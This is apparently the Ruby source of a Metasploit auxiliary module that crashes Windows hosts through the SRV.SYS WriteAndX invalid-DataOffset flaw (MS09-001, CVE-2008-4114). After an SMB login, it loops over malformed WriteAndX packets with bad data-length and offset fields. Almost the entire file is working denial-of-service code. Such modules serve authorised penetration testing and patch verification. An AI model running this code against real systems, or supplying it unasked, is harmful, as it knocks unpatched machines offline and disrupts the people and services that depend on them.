111 lines
3.4 KiB
Ruby
111 lines
3.4 KiB
Ruby
class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::SMB
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SRV.SYS WriteAndX Invalid DataOffset',
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'Description' => %q{
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This module exploits a denial of service vulnerability in the
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SRV.SYS driver of the Windows operating system.
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},
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'Author' => [ 'j.v.vallejo[at]gmail.com' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['MSB', 'MS09-001'],
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['CVE', '2008-4114'],
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['BID', '31179'],
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]))
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end
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def send_smb_pkt(dlenlow, doffset,fillersize)
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connect()
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smb_login()
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pkt = CONST::SMB_CREATE_PKT.make_struct
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pkt['Payload']['SMB'].v['Flags1'] = 0x18
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pkt['Payload']['SMB'].v['Flags2'] = 0xc807
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pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
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pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
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pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
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pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
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pkt['Payload']['SMB'].v['WordCount'] = 24
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pkt['Payload'].v['AndX'] = 255
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pkt['Payload'].v['AndXOffset'] = 0xdede
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pkt['Payload'].v['FileNameLen'] = 14
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pkt['Payload'].v['CreateFlags'] = 0x16
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pkt['Payload'].v['AccessMask'] = 0x2019f # Maximum Allowed
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pkt['Payload'].v['ShareAccess'] = 7
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pkt['Payload'].v['CreateOptions'] = 0x400040
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pkt['Payload'].v['Impersonation'] = 2
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pkt['Payload'].v['Disposition'] = 1
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pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"
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simple.client.smb_send(pkt.to_s)
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ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
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pkt = CONST::SMB_WRITE_PKT.make_struct
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data_offset = pkt.to_s.length - 4
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filler = Rex::Text.rand_text(fillersize)
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pkt['Payload']['SMB'].v['Signature1']=0xcccccccc
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pkt['Payload']['SMB'].v['Signature2']=0xcccccccc
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pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
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pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
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pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
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pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
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pkt['Payload']['SMB'].v['Flags1'] = 0x18
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pkt['Payload']['SMB'].v['Flags2'] = 0xc807
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pkt['Payload']['SMB'].v['WordCount'] = 14
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pkt['Payload'].v['AndX'] = 255
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pkt['Payload'].v['AndXOffset'] = 0xdede
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pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']
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pkt['Payload'].v['Offset'] = 0
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pkt['Payload'].v['Reserved2'] = -1
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pkt['Payload'].v['WriteMode'] = 8
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pkt['Payload'].v['Remaining'] = fillersize
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pkt['Payload'].v['DataLenHigh'] = 0
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pkt['Payload'].v['DataLenLow'] = dlenlow #<==================
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pkt['Payload'].v['DataOffset'] = doffset #<====
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pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====
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pkt['Payload'].v['ByteCount'] = fillersize#<====
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pkt['Payload'].v['Payload'] = filler
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simple.client.smb_send(pkt.to_s)
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end
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def run
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print_line("Attempting to crash the remote host...")
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k=72
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j=0xffff
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while j>10000
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i=0xffff
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while i>10000
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begin
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print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")
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send_smb_pkt(i,j,k)
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rescue
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print_line("rescue")
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end
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i=i-10000
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end
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j=j-10000
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end
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end
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end
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